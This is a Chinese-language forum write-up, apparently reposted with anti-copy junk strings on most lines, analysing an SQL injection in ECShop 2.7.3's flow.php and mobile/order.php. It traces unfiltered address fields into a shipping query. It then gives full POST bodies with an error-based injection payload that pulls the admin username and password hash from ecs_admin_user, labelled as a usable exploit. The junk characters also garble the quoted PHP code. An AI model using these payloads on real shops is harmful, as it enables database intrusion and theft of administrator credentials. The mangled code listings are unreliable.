前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。% Y$ W5 D X) v# Q# V6 v! M( {+ p
3 q3 p; H2 l b+ C/ a9 o
漏洞关键文件:8 Z9 h0 D z& E6 U+ X9 e
$ s! i% Y4 N+ t' z /includes/lib_order.php
8 r3 U) P t3 C7 U D2 U J* x. \) X5 Q; `0 @9 D- n
关键函数:0 j4 q, g2 ~9 o( I7 Q: z
! i m* ? G$ Y% Z2 m6 M7 _
2 {. n: o2 Q! D4 z" J
# A+ f" M* ?$ X# }- l5 m01 function available_shipping_list($region_id_list)
K4 D6 x' S: x! ]; S9 I* C( X p I6 } c% m- Y C$ K e
02 {
g# B4 R1 Y& d* H6 w2 Y h
1 @" B6 |, V" x s' E03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
! U3 t @( s d) b
( s# s4 H2 r: J) v" X# y/ B04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
2 h9 n! h' Q7 y6 c, t( ~
" s4 P% m) ?: H; ~. \05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . , K* A0 B2 g6 n# D- s
) {# j3 Y) Q" X. f& W. y06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . # M6 G; f& p* P9 c, P
' A9 n- g! @3 |4 ~5 Y3 Q
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ) f6 b0 k' h& E" K9 Z
1 J" V$ M, }/ j( P08 'WHERE r.region_id ' . db_create_in($region_id_list) . 6 {% K' o, S) F+ G# I2 H; h( r- V
$ o/ Z @' o: u* V! O3 [09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
d' {) r+ W# z9 `1 u! Q8 w* ], i# W R7 w* _3 T
10 * d0 G; [6 \8 _9 s8 V- n' e
- y2 P' D+ ]! _* X b
11 return $GLOBALS['db']->getAll($sql);
0 I5 @. I( C+ O3 U, S. M9 W6 _9 N) r. t5 q2 A# k: B
12 } ! F+ V) u/ u- q
; L" M; X# c" h9 T$ I& K$ l
显然对传入的参数没有任何过滤就带入了查询语句。
9 Q& i8 c6 c4 `" L8 Q: Q + ~9 K) v2 o3 g) r2 ^9 ^
下面我们追踪这个函数在flow.php中:: q6 a3 @9 ^8 [0 w! g, j: u9 E) ^
第531行:
! H7 D. d' _' g! X1 T9 l* P v; v, G
1 $shipping_list = available_shipping_list($region);
S e+ x5 i# f" N2 t7 Y7 H# `
/ i0 P+ X. }0 i) E ( z* g6 Y. A2 u/ [/ I
0 Y1 Y v2 s7 B+ ^& r. u
. B0 b6 G7 n& _+ l! r# l
/ y7 j0 k2 M! j- s9 \4 b |& \, Q再对传入变量进行追踪:
+ L, I( _. D9 ]/ s2 _0 y0 g1 W& G4 y/ h
第530行: $ q8 n c$ K; a$ ^$ c! e
2 v' P) R5 {4 k0 }. `' Q
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ \3 z- t) [. [: [) P" b
5 h/ k2 x( A' a1 o$ n. w$ o- Z
0 }# y! j; k/ C
: F1 f$ |4 n# \7 s; p3 D
, ^; V; b: F0 h/ f+ ?) w+ x+ I; t6 i/ x- M, u
第473行: 0 @9 ?, ]" U0 B" f
, Q3 G" J5 ~9 a+ }. V$ w+ d5 n
1 $consignee = get_consignee($_SESSION['user_id']);
' T3 d: y" Z: d: u
3 b$ L+ y: f5 q7 h& m到了一个关键函数:
/ p# b6 Q5 m1 ]6 x# v# w! @" I4 A
4 T- {# Q7 _7 V7 ~4 v- b/includes/lib_order.php4 V* j( r) P) F) P' [, _
+ @( h" Z: w6 S. ?0 Q- x, ]9 J
5 p$ ^7 k$ m+ z) T6 [* [ R2 F% [
$ |4 p& m$ |# z+ S( v
5 h- e8 C. j# v: ?1 p% ^ ?: u' p+ q# f- x: ~9 ^
01 function get_consignee($user_id) ( \, }+ E0 G0 X! w6 x2 z8 k
: r1 X: M' {1 ^02 { $ X9 V1 d" Q0 |. d3 S
) K) l: e5 h, K: v03 if (isset($_SESSION['flow_consignee']))
7 G" J; k4 k( F7 }7 ^9 z) M1 ]
7 y. R0 L f! ?1 I% f04 {
' [( R- N0 h9 O- y; F) v" u* T7 [& E! s
05 /* 如果存在session,则直接返回session中的收货人信息 */ 5 Q! ~9 z7 s% F
7 A* |: u/ g4 b$ a7 Z8 S
06
7 L+ R( K1 I: o0 r) u+ U9 y
0 l7 C3 _3 z4 S+ ?, Z07 return $_SESSION['flow_consignee'];
, j# }, Z, O i' E' U9 h/ \$ Z
' u9 w% m0 J8 x/ Z W! g08 }
2 i m3 k0 A, _
7 J/ }2 |; B# E3 D/ _+ Z* u09 else ) `/ {- l- U: _- |* R' R4 C
! Y. p8 C2 h5 w ]
10 { , N0 S8 G7 {" M
: y+ t6 t y. h) X% l11 /* 如果不存在,则取得用户的默认收货人信息 */
( ` @1 E9 a- }+ O- g2 W) W/ e
, e5 Q; x; a! x* I; F, ~( g( @1 g12 $arr = array(); . U' K0 \/ K! N2 Y% T9 k
, R) s2 N" ]3 `: r
13
. q8 _; Y, x5 o' _% U- f* f$ j, c0 m. P2 Z' | g# U5 a" I0 F
14 if ($user_id > 0) 0 [& j8 F6 P9 f& I# j/ Z
+ B3 T B' Z; o/ H15 { ) Z$ s* V* G4 T3 I% W
, b7 n( P- G; D0 _' k2 e
16 /* 取默认地址 */
. d5 X; a( y4 W" F) z1 x3 y
- w; n6 t: y* Y5 j: [: ~17 $sql = "SELECT ua.*". ! _# f2 G0 w& y. y2 y
+ K+ P; c8 z4 _* C# g
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. * b9 |4 S' K* |$ N
$ o0 n! B( y0 O3 W
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 5 y( @0 }9 x& l& ~/ q) M2 ^
( W* b, f+ P: t$ Q$ \20
$ ?3 a4 t4 b+ n$ K1 X+ J Q+ D* _# A& A' [$ ]
21 $arr = $GLOBALS['db']->getRow($sql); % Z" j: ~! b: }* w) s0 Z
' S2 I+ h5 f6 b7 M
22 } 9 u9 p- T2 ^. H9 `
0 u0 d7 u% W5 p$ ]( j, o! |23
' T/ Z7 f7 ]$ V/ ` [/ e0 x/ c9 P; h; F) [2 a, b; g/ D/ N
24 return $arr;
# p9 j8 x, u4 J M9 y6 [5 l
& g+ V* O0 Z0 D) u5 T25 }
$ S9 f4 l* I" W7 U/ O. j8 h5 m0 G# B6 r! a+ A" s( ?% l( B+ y4 Y, c
26 } 1 Y# j% [2 v2 V( A' z
3 v* e, _" ]9 Z$ S显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
; a1 S3 J0 b% k( O& G0 ~* l7 ~% u5 x! s$ W
6 M: e N1 J- A- k2 A, i
7 g0 B% _% q0 ?" w! C1 z关键点:# o9 j6 q6 {4 D+ z
% }4 C! ?( ~1 }0 A/ _2 X& p1 y) l
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, F0 B1 V) z$ a. f! |& H! Y* E+ J6 U+ i# O! Q- c( Z7 p: k! B( w& @' f
这里对传入参数反转义存入$_SESSION中。$ ]3 P7 k! s0 x. E$ i
, S7 s( w3 Y: b+ p6 Y5 r* r
$ c+ Q% U2 W& H- n1 O: c
" u$ ]0 w V7 Y8 ^3 e- z0 L# X然后看下:' P4 X* V- w! ?
! d1 X: I& u% W: Q# J/ L5 M2 k$ A
- R1 o# l( R$ A: m) `+ j
* w3 I+ |5 a6 K1 Y2 P5 W3 W
1 e* K% t2 _0 n! O
$ | V9 C3 t6 z* v01 $consignee = array(
) i u: K! V Z9 W v& B* L+ ~0 ?. M1 d8 w% K
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
3 M1 {# m1 j6 r( W4 e) S
" D1 n! R3 a; I6 T. s. q03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), + V5 e* Y, V: }8 A/ u
2 B9 a5 E! P( C+ O04 'country' => empty($_POST['country']) ? '' _POST['country'], 5 w9 \" a" U* G7 Z' R
( j( k1 Y: D6 O
05 'province' => empty($_POST['province']) ? '' _POST['province'], : j5 p% o2 g- R2 l3 n% b2 Z0 u
" B+ ^; g% B! g4 e% ^ |06 'city' => empty($_POST['city']) ? '' _POST['city'], , R" o' m/ I: [( i5 m; \( X
& T N8 u% z, W07 'district' => empty($_POST['district']) ? '' _POST['district'], ( i$ S3 `8 F) }( K) X% n9 D, C
6 [$ P6 Y6 e" c& p2 m, a! r {08 'email' => empty($_POST['email']) ? '' _POST['email'],
0 F9 |' O; k9 |0 k
6 m! J) H+ D4 [6 g% M6 |09 'address' => empty($_POST['address']) ? '' _POST['address'],
5 Q0 c6 o7 o+ N5 _: N* i& @% A. I1 E+ k5 c0 ]
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
- b |# a) w0 q& d2 t6 e. ~
$ L6 w( l7 f& s0 a11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 3 [7 M, p; l, S+ Q
1 Q5 m: D8 Z( X# D1 S, c: w$ o
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 5 ~* ?3 \& a( A" A* O
% K: _+ W- e5 z# M% p t' c13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], . r- v( S" M& ^, x* v& b5 _$ o+ n
' I5 N- u8 ^. W. H14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
. d1 _6 U1 f4 Y! p0 C9 u" x6 ~+ [9 F% h8 b6 y* q9 d
15 ); ) l6 z" i" b& q7 M5 B
; U5 A3 W6 G0 R; v1 n. x
好了注入就这样出现了。
. W! n: P- T. a& ~: h8 E+ C& E! l/ N
==================, E+ W6 C5 k9 q5 s$ N
; w& b( j! K, j. P. ~3 f
注入测试:1 A% T! }; d, `" S1 e
Q7 S1 I, W$ M8 i/ I4 N" u环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 F5 E* T7 p8 r
; _" p; D j( j* H测试程序:ECShop_V2.7.3_UTF8_release1106 C8 N4 F; u) g" P7 q
* V/ u% ? |3 O" J; g! K, |# u+ d* s
# X6 I n) _, S6 |; F
. j9 t# L! ~% R9 R4 m- q$ e1.首先需要点击一个商品加入购物车: z0 l4 {; I* n2 t* V
1 R _" g* M0 o Z J# X
2.注册一个会员帐号1 q5 P) o3 T# z) y
" N; q# w3 j; F" b9 e" Z3 d4 H0 z, t! _
3.post提交数据
4 \$ ]7 C3 S( N+ W3 j' w0 V! J! U. m7 _3 t9 u
4 ?+ ]& u# i3 s: O1 I: O
d* F1 c% E# j0 C7 Z) s1 http://127.0.0.1/ecshop/flow.php
2 [* R( p e0 j
# X9 s& ~7 g7 g+ M/ a; i4 d2
9 u" T5 n1 U( E) Z- w- B s
3 H/ Y2 x$ z$ P' n7 k9 h* ^3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
2 G* Y) s% { `5 g2 M举一反三,我们根据这个漏洞我们可以继续深入挖掘:8 g3 ]; g9 p) ?- X0 Z7 d
- J6 ^ q4 [# k我们搜寻关键函数function available_shipping_list()
. p% H- T& M& {7 w7 [1 M6 u2 b* w& X2 K% Y" x# }
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同% W/ e- K) i& O) O E
2 }7 m% {, K( H5 z5 |利用exp:
5 o, p4 h0 f0 F4 M2 r$ f5 U* s% e% S1 F. S* i9 E
1.点击一个商品,点击购买商标- k" w8 Q4 |( }" T
& r+ K) ?, k ^$ e. O8 X
2.登录会员帐号
9 ?3 o. S G: }2 ]$ \# x# ^
. K. ~; a- E& N `8 v. S3.post提交:
) d& V( C8 s" |+ m0 T! ^ K( y7 ]
2 u: F u2 I) ^1 z! q" }- \- Qhttp://127.0.0.1/ecshop/mobile/order.php' b" s) T1 M( ? v3 B( {
4 ~, E: J; G( F& k4 @+ _$ H* v
5 v+ X9 v. w7 j+ a
7 T, I7 e- B$ [3 [7 |& dcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
# F$ V7 d0 Y8 t; [- g6 l5 i; f. q$ b+ G& q+ B! ~1 q0 _) W
|